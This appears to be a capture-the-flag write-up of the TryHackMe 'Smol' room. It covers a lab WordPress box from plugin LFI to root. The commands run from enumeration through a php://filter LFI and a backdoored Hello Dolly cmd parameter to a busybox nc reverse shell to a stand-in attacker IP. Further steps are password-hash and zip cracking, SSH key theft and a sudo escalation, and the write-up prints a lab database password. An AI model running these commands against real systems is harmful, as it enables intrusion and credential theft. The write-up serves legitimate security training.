0xmrerror@terminal:~/writeups

Smol — WP Plugin SSRF to sudo Bash

A legacy WordPress plugin with a pile of CVEs, a poisoned Hello-Dolly backdoor, and an SSRF that reaches straight into the sudoers file.

MediumTryHackMeWeb · 20 min readwordpressplugin-cvessrfbackdoorsudoerstryhackme

Smol — WordPress Plugin SSRF to sudo Bash

A WordPress site with a legacy plugin full of CVEs, a poisoned Hello-Dolly backdoor, and a chain of password reuse that ends at a full-sudo user. Goal: user + root flags.

1 · Enumeration

# The site redirects to a subdomain
echo "10.10.x.x smol.thm www.smol.thm" >> /etc/hosts

nmap -sC -sV www.smol.thm
22/tcp open  ssh   OpenSSH 8.2p1
80/tcp open  http  Apache 2.4.41 (WordPress 6)

wpscan --url http://www.smol.thm --enumerate u,vp
# users: admin think wp diego gege xavi
# plugin jsmol2wp 1.07 → CVE-2018-20462 XSS, CVE-2018-20463 SSRF/LFI

2 · LFI Through the Plugin

jsmol2wp's query param reads files via php://filter. Grab wp-config.php to win the web + DB credentials.

curl "http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"
# > wp-admin login / DB creds:  wpuser : kbLSF2Vop#lw3rjDZ629*Z%G

3 · Backdoored Hello Dolly

A private post says to verify the "Hello Dolly" plugin source — this site's copy was tampered with. Read it through the LFI and decode to find a hidden cmd parameter backdoor. Result: unauthenticated RCE.

# base64-encode read so PHP doesn't execute the file
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/convert.base64-encode/resource=../hello.php

# decode → backdoor exposes a "cmd" parameter
http://www.smol.thm/wp-admin/index.php?cmd=id
# > uid=33(www-data) — RCE confirmed

4 · Reverse Shell + DB Dump

# busybox nc keeps the payload short
http://www.smol.thm/wp-admin/index.php?cmd=busybox%20nc%20ATTACK_IP%20443%20-e%20sh
nc -lvnp 443
# > shell as www-data

# Reuse DB creds → dump wp_users → john + rockyou
mysql -u wpuser -p... wordpress -e "SELECT user_login,user_pass FROM wp_users"
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# > diego : <cracked> — the @local account
su diego
find / -name 'user.txt'
# > user flag

5 · diego → think (stolen SSH key)

Keep enumerating — another user's private key is world-readable. Grab think's id_rsa and SSH in; think belongs to the dev and internal groups.

cat /home/think/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa think@smol.thm
# think → groups: think, dev, internal

6 · think → xavi (old zip + wp-config)

think's home contains wordpress.old.zip, password-protected. Crack it, unzip, and read the old wp-config.php — it leaks xavi's credentials.

zip2john wordpress.old.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip wordpress.old.zip
cat wordpress.old/wp-config.php
# > xavi's password in the DB constants
su xavi

7 · xavi → root

sudo -l
(user xavi) (ALL : ALL) ALL
sudo su
root@smol:~# cat /root/root.txt
# root flag

8 · What Made It Work

Steps 3 and 4 are one bug. A backdoor in a plugin file is worth nothing if reading that file runs it instead of showing it, so the php://filter LFI from step 2 is also the delivery mechanism, and the whole chain hangs on that single trick. The password reuse is a second chain on top: the same credential pattern walks you from the database to an SSH key to an old zip to a user with (ALL : ALL) ALL in sudoers.